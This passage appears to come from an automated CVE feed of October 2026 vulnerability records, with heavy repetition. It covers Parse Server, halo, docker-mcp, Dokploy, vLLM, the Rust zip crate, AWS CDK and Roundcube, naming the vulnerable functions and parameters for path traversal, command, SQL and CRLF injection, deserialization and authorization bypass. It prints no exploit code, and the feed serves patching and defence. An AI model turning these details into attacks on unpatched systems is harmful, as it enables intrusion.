NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
Parse Server before 8.6.102 and 9.0.0 before 9.10.5-alpha.2 contains an authentication bypass because the validateSetUp, validateLogin, and validateUpdate methods of custom adapters subclassing AuthAdapter are never called, and an inherited default that accepts any authData is used instead. Attackers can supply arbitrary authData to sign up, link identities, log in as existing users, or skip custom additional authentication factors.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in halo-dev halo up to 2.27.0-beta.1. Affected by this vulnerability is the function run.halo.app.theme.DefaultViewNameResolver.resolveViewNameOrDefault of...
https://kevwire.com/record/CVE-2026-116117
A flaw has been found in halo-dev halo up to 2.27.0-beta.1. Affected by this vulnerability is the function run.halo.app.theme.DefaultViewNameResolver.resolveViewNameOrDefault of... (Oct 26, 2026).
A flaw has been found in halo-dev halo up to 2.27.0-beta.1. Affected by this vulnerability is the function run.halo.app.theme.DefaultViewNameResolver.resolveViewNameOrDefault of the file application/src/main/java/run/halo/app/theme/DefaultViewNameResolver.java of the component View Name Resolver. Executing a manipulation of the argument template can lead to path traversal. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116117).
Sources:
NVD CVE-2026-116117: https://nvd.nist.gov/vuln/detail/CVE-2026-116117
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A flaw has been found in halo-dev halo up to 2.27.0-beta.1. Affected by this vulnerability is the function run.halo.app.theme.DefaultViewNameResolver.resolveViewNameOrDefault of the file application/src/main/java/run/halo/app/theme/DefaultViewNameResolver.java of the component View Name Resolver. Executing a manipulation of the argument template can lead to path traversal. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in 2K Games Civilization V 1.0.3.144. Impacted is the function loadstring of the component Lua Sandbox.
https://kevwire.com/record/CVE-2026-116111
A vulnerability was determined in 2K Games Civilization V 1.0.3.144. Impacted is the function loadstring of the component Lua Sandbox. (Oct 26, 2026).
A vulnerability was determined in 2K Games Civilization V 1.0.3.144. Impacted is the function loadstring of the component Lua Sandbox. Executing a manipulation can lead to type confusion. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116111).
Sources:
NVD CVE-2026-116111: https://nvd.nist.gov/vuln/detail/CVE-2026-116111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was determined in 2K Games Civilization V 1.0.3.144. Impacted is the function loadstring of the component Lua Sandbox. Executing a manipulation can lead to type confusion. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in QuantGeekDev docker-mcp 0.1.0/0.2.0. The impacted element is the function _build_windows_command of the file docker_executor.py.
https://kevwire.com/record/CVE-2026-116102
A vulnerability was determined in QuantGeekDev docker-mcp 0.1.0/0.2.0. The impacted element is the function _build_windows_command of the file docker_executor.py. (Oct 26, 2026).
A vulnerability was determined in QuantGeekDev docker-mcp 0.1.0/0.2.0. The impacted element is the function _build_windows_command of the file docker_executor.py. This manipulation of the argument project_name causes os command injection. It is possible to initiate the attack remotely.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116102).
Sources:
NVD CVE-2026-116102: https://nvd.nist.gov/vuln/detail/CVE-2026-116102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was determined in QuantGeekDev docker-mcp 0.1.0/0.2.0. The impacted element is the function _build_windows_command of the file docker_executor.py. This manipulation of the argument project_name causes os command injection. It is possible to initiate the attack remotely.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Fusion Creators Studio SCP Containment Breach Multiplayer up to 1.295. This issue affects the function BlitzBanks of the component Skynet++ Virtual...
https://kevwire.com/record/CVE-2026-116099
A flaw has been found in Fusion Creators Studio SCP Containment Breach Multiplayer up to 1.295. This issue affects the function BlitzBanks of the component Skynet++ Virtual... (Oct 26, 2026).
A flaw has been found in Fusion Creators Studio SCP Containment Breach Multiplayer up to 1.295. This issue affects the function BlitzBanks of the component Skynet++ Virtual Machine. Executing a manipulation can lead to out-of-bounds write. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 1.3R is capable of addressing this issue. It is recommended to upgrade the affected component.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116099).
Sources:
NVD CVE-2026-116099: https://nvd.nist.gov/vuln/detail/CVE-2026-116099
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A flaw has been found in Fusion Creators Studio SCP Containment Breach Multiplayer up to 1.295. This issue affects the function BlitzBanks of the component Skynet++ Virtual Machine. Executing a manipulation can lead to out-of-bounds write. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 1.3R is capable of addressing this issue. It is recommended to upgrade the affected component.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dokploy through 0.30.10 contains an authorization bypass vulnerability that allows owners or admins of any organization to control other tenants' applications by supplying foreign...
https://kevwire.com/record/CVE-2026-116068
Dokploy through 0.30.10 contains an authorization bypass vulnerability that allows owners or admins of any organization to control other tenants' applications by supplying foreign... (Oct 25, 2026).
Dokploy through 0.30.10 contains an authorization bypass vulnerability that allows owners or admins of any organization to control other tenants' applications by supplying foreign applicationId values. Attackers can call procedures like saveEnvironment, updateTraefikConfig, deploy, or stop to overwrite environment variables and build secrets, repoint sources, and disrupt other tenants' applications.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116068).
Sources:
NVD CVE-2026-116068: https://nvd.nist.gov/vuln/detail/CVE-2026-116068
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
Dokploy through 0.30.10 contains an authorization bypass vulnerability that allows owners or admins of any organization to control other tenants' applications by supplying foreign applicationId values. Attackers can call procedures like saveEnvironment, updateTraefikConfig, deploy, or stop to overwrite environment variables and build secrets, repoint sources, and disrupt other tenants' applications.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/staff/adddealer.php.
https://kevwire.com/record/CVE-2026-116060
A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/staff/adddealer.php. (Oct 25, 2026).
A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/staff/adddealer.php. Executing a manipulation of the argument Contact can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116060).
Sources:
NVD CVE-2026-116060: https://nvd.nist.gov/vuln/detail/CVE-2026-116060
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/staff/adddealer.php. Executing a manipulation of the argument Contact can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM is an inference and serving engine for large language models.
https://kevwire.com/record/CVE-2026-115912
vLLM is an inference and serving engine for large language models. (Oct 26, 2026).
vLLM is an inference and serving engine for large language models. Prior to 0.32.0, an authenticated caller can place forged shared-memory address and monotonic_id values in public multimodal features.kwargs_data. In scale-out deployments with shared-memory multimodal caching enabled, workers trust those values and pass attacker-selected bytes to pickle.loads(), allowing arbitrary Python execution even when insecure serialization is disabled. This issue is fixed in version 0.32.0.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115912).
Sources:
NVD CVE-2026-115912: https://nvd.nist.gov/vuln/detail/CVE-2026-115912
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vLLM is an inference and serving engine for large language models. Prior to 0.32.0, an authenticated caller can place forged shared-memory address and monotonic_id values in public multimodal features.kwargs_data. In scale-out deployments with shared-memory multimodal caching enabled, workers trust those values and pass attacker-selected bytes to pickle.loads(), allowing arbitrary Python execution even when insecure serialization is disabled. This issue is fixed in version 0.32.0.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### zip is a zip library for Rust that supports reading and writing simple ZIP files.
https://kevwire.com/record/CVE-2026-115909
zip is a zip library for Rust that supports reading and writing simple ZIP files. (Oct 26, 2026).
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115909).
Sources:
NVD CVE-2026-115909: https://nvd.nist.gov/vuln/detail/CVE-2026-115909
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### zip is a zip library for Rust that supports reading and writing simple ZIP files.
https://kevwire.com/record/CVE-2026-115908
zip is a zip library for Rust that supports reading and writing simple ZIP files. (Oct 26, 2026).
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 7.2.0 until 9.0.0, ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir use safe_prepare_path in src/read/zipfile.rs and simplified_components in src/path.rs to validate symbolic link targets with a lexical prefix comparison rather than resolving each intermediate link. An attacker who knows or can guess the absolute extraction destination can create a chain whose apparent target remains under the destination while an intermediate symlink resolves outside it, allowing attacker-controlled files to be created or overwritten with the extracting process's privileges. On Windows, discarded drive and UNC prefixes can permit a single-link escape when the process has SeCreateSymbolicLinkPrivilege, such as through administrator rights or Developer Mode. This regression is distinct from CVE-2025-29787. This issue is fixed in version 9.0.0.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115908).
Sources:
NVD CVE-2026-115908: https://nvd.nist.gov/vuln/detail/CVE-2026-115908
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 7.2.0 until 9.0.0, ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir use safe_prepare_path in src/read/zipfile.rs and simplified_components in src/path.rs to validate symbolic link targets with a lexical prefix comparison rather than resolving each intermediate link. An attacker who knows or can guess the absolute extraction destination can create a chain whose apparent target remains under the destination while an intermediate symlink resolves outside it, allowing attacker-controlled files to be created or overwritten with the extracting process's privileges. On Windows, discarded drive and UNC prefixes can permit a single-link escape when the process has SeCreateSymbolicLinkPrivilege, such as through administrator rights or Developer Mode. This regression is distinct from CVE-2025-29787. This issue is fixed in version 9.0.0.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### zip is a zip library for Rust that supports reading and writing simple ZIP files.
https://kevwire.com/record/CVE-2026-115907
zip is a zip library for Rust that supports reading and writing simple ZIP files. (Oct 26, 2026).
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115907).
Sources:
NVD CVE-2026-115907: https://nvd.nist.gov/vuln/detail/CVE-2026-115907
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### zip is a zip library for Rust that supports reading and writing simple ZIP files.
https://kevwire.com/record/CVE-2026-115905
zip is a zip library for Rust that supports reading and writing simple ZIP files. (Oct 26, 2026).
zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.
CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115905).
Sources:
NVD CVE-2026-115905: https://nvd.nist.gov/vuln/detail/CVE-2026-115905
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0...
https://kevwire.com/record/CVE-2026-115418
SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0... (Oct 26, 2026).
SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0 could allow a third party who can influence construct property values to run SQL statements with Amazon Redshift superuser privileges, including granting access to all cluster users. The statements are reachable through crafted user names, comments, or passwords.



To remediate this issue, users should upgrade to version 2.274.0-alpha.0 or later and review existing table grants to PUBLIC.
CVSS 7.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115418).
Sources:
NVD CVE-2026-115418: https://nvd.nist.gov/vuln/detail/CVE-2026-115418
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0 could allow a third party who can influence construct property values to run SQL statements with Amazon Redshift superuser privileges, including granting access to all cluster users. The statements are reachable through crafted user names, comments, or passwords.



To remediate this issue, users should upgrade to version 2.274.0-alpha.0 or later and review existing table grants to PUBLIC.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by an IMAP command injection vulnerability.
https://kevwire.com/record/CVE-2026-114720
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by an IMAP command injection vulnerability. (Oct 22, 2026).
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by an IMAP command injection vulnerability. A remote authenticated attacker can exploit this via CRLF sequences injected into the _flag parameter of the mail/mark action to execute arbitrary IMAP commands. Upstream fixed this in the commit “Fix IMAP command injection via CRLF in `_flag` parameter of mail/mark action”, which rejects flags containing control, whitespace and IMAP-special characters.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114720).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114720&date=2026-10-25).
Sources:
NVD CVE-2026-114720: https://nvd.nist.gov/vuln/detail/CVE-2026-114720
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
